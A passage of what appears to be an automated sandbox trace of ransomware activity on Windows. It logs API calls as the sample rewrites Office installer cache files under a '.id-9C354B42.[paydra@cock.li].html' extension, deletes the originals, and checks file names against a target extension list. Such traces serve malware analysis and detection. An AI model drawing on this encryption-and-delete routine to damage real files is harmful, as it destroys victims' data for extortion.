returned 1 [0040.281] CloseHandle (hObject=0x1e0) returned 1 [0040.281] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0040.281] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.281] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0040.281] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.281] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.281] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.285] GetLastError () returned 0x0 [0040.285] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0040.302] WriteFile (in: hFile=0x180, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0040.492] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.492] WriteFile (in: hFile=0x180, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.492] SetEndOfFile (hFile=0x180) returned 1 [0040.492] CloseHandle (hObject=0x180) returned 1 [0040.499] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.499] SetEndOfFile (hFile=0x1e0) returned 1 [0040.506] CloseHandle (hObject=0x1e0) returned 1 [0040.506] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0040.507] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0040.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.507] lstrlenW (lpString=".doc") returned 4 [0040.507] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.507] lstrlenW (lpString=".docx") returned 5 [0040.507] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.507] lstrlenW (lpString=".pdf") returned 4 [0040.507] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.507] lstrlenW (lpString=".xls") returned 4 [0040.507] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.507] lstrlenW (lpString=".xlsx") returned 5 [0040.507] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.507] lstrlenW (lpString=".ppt") returned 4 [0040.507] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.507] lstrlenW (lpString=".zip") returned 4 [0040.507] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.507] lstrlenW (lpString=".rar") returned 4 [0040.507] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.507] lstrlenW (lpString=".bz2") returned 4 [0040.507] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.507] lstrlenW (lpString=".7z") returned 3 [0040.507] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.507] lstrlenW (lpString=".dbf") returned 4 [0040.507] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.508] lstrlenW (lpString=".1cd") returned 4 [0040.508] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.508] lstrlenW (lpString=".jpg") returned 4 [0040.508] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.508] lstrlenW (lpString=".doc") returned 4 [0040.508] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.508] lstrlenW (lpString=".docx") returned 5 [0040.508] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.508] lstrlenW (lpString=".pdf") returned 4 [0040.508] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.508] lstrlenW (lpString=".xls") returned 4 [0040.508] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.508] lstrlenW (lpString=".xlsx") returned 5 [0040.508] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.508] lstrlenW (lpString=".ppt") returned 4 [0040.508] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.508] lstrlenW (lpString=".zip") returned 4 [0040.508] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.508] lstrlenW (lpString=".rar") returned 4 [0040.508] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.508] lstrlenW (lpString=".bz2") returned 4 [0040.508] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.508] lstrlenW (lpString=".7z") returned 3 [0040.508] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.508] lstrlenW (lpString=".dbf") returned 4 [0040.508] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.509] lstrlenW (lpString=".1cd") returned 4 [0040.509] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0040.509] lstrlenW (lpString=".jpg") returned 4 [0040.509] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.509] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0040.509] lstrlenW (lpString="Proofing.msi") returned 12 [0040.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0040.509] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=868864) returned 1 [0040.509] CloseHandle (hObject=0x1e0) returned 1 [0040.509] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0040.509] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0040.510] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.510] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.510] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.510] GetLastError () returned 0x0 [0040.510] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0040.527] WriteFile (in: hFile=0x180, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0040.546] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.546] WriteFile (in: hFile=0x180, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.546] SetEndOfFile (hFile=0x180) returned 1 [0040.546] CloseHandle (hObject=0x180) returned 1 [0040.552] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.552] SetEndOfFile (hFile=0x1e0) returned 1 [0040.559] CloseHandle (hObject=0x1e0) returned 1 [0040.559] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0040.559] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0040.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.705] lstrlenW (lpString=".doc") returned 4 [0040.705] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.705] lstrlenW (lpString=".docx") returned 5 [0040.705] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0040.705] lstrlenW (lpString=".pdf") returned 4 [0040.705] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.705] lstrlenW (lpString=".xls") returned 4 [0040.705] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.705] lstrlenW (lpString=".xlsx") returned 5 [0040.705] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0040.705] lstrlenW (lpString=".ppt") returned 4 [0040.705] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.705] lstrlenW (lpString=".zip") returned 4 [0040.705] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.706] lstrlenW (lpString=".rar") returned 4 [0040.706] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.706] lstrlenW (lpString=".bz2") returned 4 [0040.706] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.706] lstrlenW (lpString=".7z") returned 3 [0040.706] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.706] lstrlenW (lpString=".dbf") returned 4 [0040.706] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.706] lstrlenW (lpString=".1cd") returned 4 [0040.706] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.706] lstrlenW (lpString=".jpg") returned 4 [0040.706] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.706] lstrlenW (lpString=".doc") returned 4 [0040.706] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.706] lstrlenW (lpString=".docx") returned 5 [0040.706] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0040.706] lstrlenW (lpString=".pdf") returned 4 [0040.706] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.706] lstrlenW (lpString=".xls") returned 4 [0040.706] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.706] lstrlenW (lpString=".xlsx") returned 5 [0040.706] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0040.706] lstrlenW (lpString=".ppt") returned 4 [0040.706] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.706] lstrlenW (lpString=".zip") returned 4 [0040.706] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.706] lstrlenW (lpString=".rar") returned 4 [0040.706] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.706] lstrlenW (lpString=".bz2") returned 4 [0040.707] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.707] lstrlenW (lpString=".7z") returned 3 [0040.707] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.707] lstrlenW (lpString=".dbf") returned 4 [0040.707] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.707] lstrlenW (lpString=".1cd") returned 4 [0040.707] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0040.707] lstrlenW (lpString=".jpg") returned 4 [0040.707] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.707] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0040.707] lstrlenW (lpString="Office32MUI.msi") returned 15 [0040.707] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0040.707] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=873984) returned 1 [0040.707] CloseHandle (hObject=0x1e0) returned 1 [0040.707] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0040.707] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.708] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0040.708] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.708] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.708] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0040.795] GetLastError () returned 0x0 [0040.795] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0040.872] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0040.886] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.886] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0040.886] SetEndOfFile (hFile=0x1fc) returned 1 [0040.886] CloseHandle (hObject=0x1fc) returned 1 [0040.892] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.892] SetEndOfFile (hFile=0x1e0) returned 1 [0040.899] CloseHandle (hObject=0x1e0) returned 1 [0040.899] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0040.899] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0040.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.899] lstrlenW (lpString=".doc") returned 4 [0040.899] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.900] lstrlenW (lpString=".docx") returned 5 [0040.900] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0040.900] lstrlenW (lpString=".pdf") returned 4 [0040.900] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.900] lstrlenW (lpString=".xls") returned 4 [0040.900] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.900] lstrlenW (lpString=".xlsx") returned 5 [0040.900] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0040.900] lstrlenW (lpString=".ppt") returned 4 [0040.900] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.900] lstrlenW (lpString=".zip") returned 4 [0040.900] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.900] lstrlenW (lpString=".rar") returned 4 [0040.900] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.900] lstrlenW (lpString=".bz2") returned 4 [0040.900] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.900] lstrlenW (lpString=".7z") returned 3 [0040.900] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.900] lstrlenW (lpString=".dbf") returned 4 [0040.900] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.900] lstrlenW (lpString=".1cd") returned 4 [0040.900] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.900] lstrlenW (lpString=".jpg") returned 4 [0040.900] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.900] lstrlenW (lpString=".doc") returned 4 [0040.900] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.901] lstrlenW (lpString=".docx") returned 5 [0040.901] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0040.901] lstrlenW (lpString=".pdf") returned 4 [0040.901] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.901] lstrlenW (lpString=".xls") returned 4 [0040.901] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.901] lstrlenW (lpString=".xlsx") returned 5 [0040.901] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0040.901] lstrlenW (lpString=".ppt") returned 4 [0040.901] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.901] lstrlenW (lpString=".zip") returned 4 [0040.901] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.901] lstrlenW (lpString=".rar") returned 4 [0040.901] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.901] lstrlenW (lpString=".bz2") returned 4 [0040.901] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.901] lstrlenW (lpString=".7z") returned 3 [0040.901] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.901] lstrlenW (lpString=".dbf") returned 4 [0040.901] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.901] lstrlenW (lpString=".1cd") returned 4 [0040.901] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.901] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0040.901] lstrlenW (lpString=".jpg") returned 4 [0040.901] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.901] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0040.901] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0040.902] CreateFileW (lpFileName="C:\\MSOCache\\All 